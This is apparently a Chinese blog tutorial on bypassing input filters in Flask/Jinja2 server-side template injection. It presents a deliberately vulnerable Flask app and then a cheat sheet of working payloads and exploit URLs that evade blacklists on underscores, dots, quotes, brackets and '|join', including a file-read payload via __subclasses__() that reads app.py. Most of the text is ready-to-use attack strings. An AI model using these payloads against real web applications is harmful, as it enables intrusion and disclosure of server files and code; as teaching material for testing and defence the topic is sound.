SSTI Flask 技巧进阶

Flask Bypass 进阶

这里总结一些过滤和绕过的手法。

Sheet 1

绕过 _ . '这三个

有一种写法,在模板注入时可以使用,但正常的python语法是不支持的。

在模板注入过程中,下面两种写法是等价的。

{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}

"\x5f"是字符 ”_“,”\x2E"是字符 "."。

那么,读取文件可以这样写(_frozen_importlib_external.FileLoader'的get_data()方法,第一个是参数0,第二个文件名)

{{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}
#也就是
{{"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")}}

Sheet 2

论文链接

简单的Flask程序示例:

import os #We need that to facilitate the RCE. Otherwise one needs to run {{config.from_object("os")}} first.
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)
@app.route("/")

def index():
    exploit = request.args.get('exploit')
    rendered_template = render_template("app.html", exploit=exploit)
    print(rendered_template)
    return render_template_string(rendered_template)
if __name__ == "__main__":
    app.run(debug=True)

对应的模板:

{# $>cat templates/app.html #} 
{{exploit}} 

a.绕过 '__'

过滤举例

exploit = request.args.get('exploit')
    print exploit

    blacklist = ["_"]
    for bad_string in blacklist:
        if  bad_string in exploit:
            return "HACK ATTEMPT {}".format(bad_string), 400

除了request.__class__,还可以用request.["_class_"]这种写法,即数组+字典下标的方式。但是仅使用这个方法是不行的,因为在render的时候就已经进行了对引号的转义,并且黑名单中的字符仍然存在。

注意到request变量可以访问所有我们提交上去的变量,可以使用request.args.<param>的语法,再传入一个<param>来构造变量。

这样就获得了一个绕过的方法:

  • EXP:/?exploit={{request[request.args.pa]}}&pa=**class**

b.绕过'request[request.'

blacklist = ["__","request[request."]

Jinja有类似Linux管道机制的语法,即'|'符号。

利用此语法加上attr()方法,就可以达到在方括号中书写属性名称一样的效果。

request | attr(request.args.a)等价于request["a"]

  • EXP:/?exploit={{request|attr(request.args.pa)}}&pa=**class**

c.绕过'_class_'

blacklist = ["__","request[request.","__class__"]

使用管道+join方法,可以进行字符串的拼接操作。

["a","b","c"]|join等价于abc

  • EXP:/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

这段的执行步骤是:

  1. 带入变量{{request|attr(["_"*2,"class","_"*2]|join)}}

  2. 调用join方法{{request|attr("_\_class_\_")}}

  3. 调用attr方法{{request._\_class_\_}}

d.绕过'[' 和 ']'

blacklist = ["__","request[request.","__class__",'[',']']

可以使用元组('a','b','c')的方式给join传递参数,这样既可绕过方括号。只要把上一个EXP的方括号替换成圆括号即可,不过还有一个更优雅的方案。

使用 .getlist()方法得到一个列表,这个列表的参数可以在后面传递,具体示例请看EXP

EXP:/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

e.绕过"|join"

blacklist = ["__","request[request.","__class__",'[',']',"|join"]

使用管道+format方法,用格式化字符串生成被过滤的字串。

EXP:/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

这里f作为格式化字符串,其中的%sa='_'替换。

推荐阅读更多精彩内容

  • Lua 5.1 参考手册 by Roberto Ierusalimschy, Luiz Henrique de F...
    苏黎九歌阅读 12,558评论 0 39
  • Nginx 的配置文件使用的就是一门微型的编程语言,许多真实世界里的 Nginx 配置文件其实就是一个一个的小程序...
    SkTj阅读 3,474评论 0 7
  • 写在前面的话 代码中的# > 表示的是输出结果 输入 使用input()函数 用法 注意input函数输出的均是字...
    FlyingLittlePG阅读 2,283评论 0 8
  • 概要 64学时 3.5学分 章节安排 电子商务网站概况 HTML5+CSS3 JavaScript Node 电子...
    阿啊阿吖丁阅读 6,272评论 0 2
  • 春深万树茵茵绿,江水柔柔绿似油。 筏渡江心侠女立,笛声如莺远悠悠。
    徐一村阅读 163评论 2 5
  • 从紧张的备考到坐在考场中认认真真的答卷,再到笔试通过时的那份喜悦与面试时的那种焦虑,到最后2019年9月份的入...
    灵武381吴丽丛阅读 157评论 0 1
  • “心酸却幸福”是我对于这段时间的基本感受。不知不觉进来到都江中学已经将近一个学期,在这段时间里,我感受很多,...
    三都1561张斐斐阅读 227评论 0 6
  • ——紫霞仙子 大话西游 或许爱的义无反顾的人,终将魂飞魄散。所以我们将自己保护得很好,期许内心的平静,而独善其身,...
    千里看江山阅读 67评论 0 0
  • 或许 由遇见证得 此生你我 注定过客 大平白日子 芭蕉不展 丁香结粒 本就平淡无奇 无嗔痴惘 我们何谈着落 转身离...
    绾木阅读 151评论 0 0